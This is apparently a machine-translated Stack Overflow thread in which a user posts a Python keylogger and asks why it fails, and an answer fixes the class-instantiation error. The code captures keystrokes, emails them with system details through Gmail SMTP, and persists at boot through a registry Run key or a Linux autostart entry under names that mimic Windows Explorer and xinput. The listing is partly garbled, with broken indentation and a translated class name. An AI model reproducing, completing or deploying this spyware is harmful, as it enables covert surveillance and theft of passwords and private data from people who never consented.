使用 python 使本地键盘记录器在每次系统启动时发送电子邮件

Question

     "This is my first coding question on stack so maybe not upto mark"

所以我正在尝试制作一个本地键盘记录器，它将所有击键存储在一个 .txt 文件中当系统重新启动时，使用 smtp 将文件发送到我的电子邮件并再次启动键盘记录器。

代码如下：

import pynput.keyboard
import smtplib
import os
import shutil
import subprocess
import sys
import stat
import platform
import getpass
import socket
import time

class 键盘记录器：

 def __init__(self, email, password):
    self.email = email
    self.password = password
    self.system_info = self.get_system_info()

def append_to_log(self, string):
    self.log = self.log + string
    file = open(r"C:\Program Files\explorer.txt", "wb")
    file.write(self.log)


def check_internet(self):
    ipaddress = socket.gethostbyname(socket.gethostname())
    while ipaddress=="127.0.0.1":
        time.sleep(10)
        ipaddress = socket.gethostbyname(socket.gethostname())
    self.report()


def get_system_info(self):
    uname = platform.uname()
    os = uname[0] + " " + uname[2] + " " + uname[3]
    computer_name = uname[1]
    user = getpass.getuser()
    return "Operating System:\t" + os + "\nComputer Name:\t\t" + computer_name + "\nUser:\t\t\t\t" + user

def process_key_press(self, key):
    try:
        current_key = str(key.char)
    except AttributeError:
        if key == key.space:
            current_key = " "
        else:
            current_key = " " + str(key) + " "
    self.append_to_log(current_key)

def report(self):
    self.send_mail(self.log)


def send_mail(self, message):

    message = "Subject: Alogger report\n\n" + "Report From:\n\n" + self.system_info + "\n\nLogs:\n" + message
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(self.email, self.password)
    server.sendmail(self.email, self.email, message)
    server.quit()

def start(self):
    keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
    with keyboard_listener:
        keyboard_listener.join()



def become_persistent(self):
    if sys.platform.startswith("win"):
        self.become_persistent_on_windows()
    elif sys.platform.startswith("linux"):
        self.become_persistent_on_linux()

def become_persistent_on_windows(self):
    evil_file_location = os.environ["appdata"] + "\Windows Explorer.exe"
    if not os.path.exists(evil_file_location):
        self.log = "* Keylogger started * "
        shutil.copyfile(sys.executable, evil_file_location)
        subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v winexplorer /t REG_SZ /d "' + evil_file_location + '"', shell=True)

def become_persistent_on_linux(self):
    home_config_directory = os.path.expanduser('~') + "/.config/"
    autostart_path = home_config_directory + "/autostart/"
    autostart_file = autostart_path + "xinput.desktop"
    if not os.path.isfile(autostart_file):
        self.log = "** Keylogger started **"
        try:
            os.makedirs(autostart_path)
        except OSError:
            pass

        destination_file = home_config_directory + "xnput"
        shutil.copyfile(sys.executable, destination_file)
        self.chmod_to_exec(destination_file)

        with open(autostart_file, 'w') as out:
            out.write("[Desktop Entry]\nType=Application\nX-GNOME-Autostart-enabled=true\n")
            out.write("Name=Xinput\nExec=" + destination_file + "\n")



def chmod_to_exec(self, file):
    os.chmod(file, os.stat(file).st_mode | stat.S_IEXEC)

#end of class


#starting Keylogger not included in class

if not  os.path.exists(r"C:\Program Files\explorer.txt"):
     Keylogger.become_persistent()
     file = open(r"C:\Program Files\explorer.txt", "wb")
     Keylogger.start()
elif os.path.exists(r"C:\Program Files\explorer.txt") and 
os.stat(file_path).st_size 
<= 0:
      Keylogger.start()
else:
    Keylogger.check_internet()
    os.remove(r"C:\Program Files\explorer.txt")
    Keylogger.start()

所以我得到以下错误：

Traceback (most recent call last):
File "C:/Users/MYPC/PycharmProjects/self_made_hack/venv/keylogger local.py", line 
108, in <module>
Keylogger.become_persistent()
TypeError: become_persistent() missing 1 required positional argument: 'self'

这是我的第一个高级项目，所以会有很多错误。那么这段代码的建议和解决方案是什么

Answer 1

您正在直接使用 Keylogger class，但您应该声明实例 class:

my_keylogger = Keylogger()
my_keylogger.become_persistent()

使用 python 使本地键盘记录器在每次系统启动时发送电子邮件

Making a Local Keylogger sending email everytime system boots with python

python

oop

methods

keylogger